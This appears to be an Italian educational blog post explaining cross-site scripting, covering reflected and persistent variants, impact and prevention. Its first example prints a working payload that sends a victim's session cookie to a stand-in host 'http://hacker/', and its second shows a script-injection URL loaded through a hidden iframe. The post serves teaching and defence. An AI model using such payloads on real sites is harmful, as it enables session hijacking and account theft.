Concetti chiave di XSS
- XSS è un attacco web-based eseguito su applicazioni web vulnerabili.
- Negli attacchi XSS, la vittima è l’utente e non l’applicazione.
- Negli attacchi XSS, il contenuto dannoso viene consegnato agli utenti utilizzando JavaScript.
Spiegazione del Cross-Site Scripting
Una vulnerabilità XSS si verifica quando le applicazioni web prendono i dati dagli utenti e li includono dinamicamente nelle pagine web senza prima convalidarli correttamente. Le vulnerabilità XSS permettono ad un attaccante di eseguire comandi arbitrari e visualizzare contenuti arbitrari nel browser di un utente vittima. Un attacco XSS riuscito porta un attaccante a controllare il browser o l’account della vittima sull’applicazione web vulnerabile. Anche se XSS è abilitato da pagine vulnerabili in un’applicazione web, le vittime di un attacco XSS sono gli utenti dell’applicazione, non l’applicazione stessa. La potenza di una vulnerabilità XSS sta nel fatto che il codice maligno viene eseguito nel contesto della sessione della vittima, permettendo all’attaccante di aggirare le normali restrizioni di sicurezza.
Video Cross-Site Scripting
Esempi di attacchi XSS
Reflective XSS
Ci sono molti modi in cui un attaccante può invogliare una vittima a iniziare una richiesta XSS riflessiva. Per esempio, l’attaccante potrebbe inviare alla vittima un’email ingannevole con un link contenente JavaScript dannoso. Se la vittima clicca sul link, la richiesta HTTP viene avviata dal browser della vittima e inviata all’applicazione web vulnerabile. Il JavaScript dannoso viene quindi riflesso al browser della vittima, dove viene eseguito nel contesto della sessione dell’utente vittima.
XSS persistente
Considera un’applicazione web che permette agli utenti di inserire un nome utente che viene visualizzato nella pagina del profilo di ogni utente. L’applicazione memorizza ogni nome utente in un database locale. Un utente malintenzionato nota che l’applicazione web non riesce a sanitizzare il campo del nome utente e inserisce codice JavaScript maligno come parte del suo nome utente. Quando altri utenti visualizzano la pagina del profilo dell’attaccante, il codice dannoso viene eseguito automaticamente nel contesto della loro sessione.
Impatto del Cross-Site Scripting
Quando gli attaccanti riescono a sfruttare le vulnerabilità XSS, possono ottenere l’accesso alle credenziali degli account. Possono anche diffondere web worms o accedere al computer dell’utente e visualizzare la cronologia del browser dell’utente o controllare il browser da remoto. Dopo aver ottenuto il controllo del sistema della vittima, gli aggressori possono anche analizzare e utilizzare altre applicazioni intranet.
Sfruttando le vulnerabilità XSS, un aggressore può eseguire azioni dannose, come:
- Hijack un account.
- Diffondere web worms.
- Accedere alla cronologia del browser e al contenuto degli appunti.
- Controllare il browser da remoto.
- Scansionare e sfruttare apparecchiature e applicazioni intranet.
Identificare le vulnerabilità di Cross-Site Scripting
Le vulnerabilità XSS possono verificarsi se:
- L’input che entra nelle applicazioni web non è validato
- L’output al browser non è codificato in HTML
Esempi XSS
Esempio 1.
Per esempio, lo snippet HTML:
<title>Example document: %(title)</title>
ha lo scopo di illustrare uno snippet di template che, se la variabile title ha valore Cross-Site Scripting, risulta nel seguente HTML da emettere al browser:
<title>Example document: XSS Doc</title>
Un sito che contiene un campo di ricerca non ha la corretta sanificazione dell’input. Creando una query di ricerca che assomiglia a questa:
"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>
sedendo dall’altra parte, al server web, riceverete dei risultati dove dopo un doppio spazio c’è il cookie dell’utente. Se un amministratore clicca sul link, un attaccante potrebbe rubare l’ID di sessione e dirottare la sessione.
Esempio 2.
Supponiamo che ci sia un URL sul sito di Google, http://www.google.com/search?q=flowers
, che restituisce documenti HTML contenenti il frammento
<p>Your search for 'flowers' returned the following results:</p>
cioè, il valore del parametro q della query è inserito nella pagina restituita da Google. Supponiamo inoltre che i dati non siano validati, filtrati o sfuggiti.
Evil.org potrebbe mettere una pagina che provoca il caricamento del seguente URL nel browser (ad esempio, in un invisibile<iframe>):
http://www.google.com/search?q=flowers+%3Cscript%3Eevil_script()%3C/script%3E
Quando una vittima carica questa pagina da www.evil.org, il browser carica l’iframe dall’URL di cui sopra. Il documento caricato nell’iframe conterrà ora il frammento
<p>Your search for 'flowers <script>evil_script()</script>'
returned the following results:</p>
Caricando questa pagina il browser eseguirà evil_script(). Inoltre, questo script verrà eseguito nel contesto di una pagina caricata da www.google.com.
Risorse per la prevenzione del Cross-Site Scripting
La prevenzione del Cross-Site Scripting dovrebbe essere affrontata nelle prime fasi di sviluppo; tuttavia, se siete già in produzione, ci sono ancora diversi passi di prevenzione cross-site che potete fare per prevenire un attacco.
Questo post del blog fornisce un riassunto di ciò che dovete sapere sul Cross-Site Scripting.
XSS Cheat Sheet: Prevenire un attacco di Cross-Site Scripting
0 commenti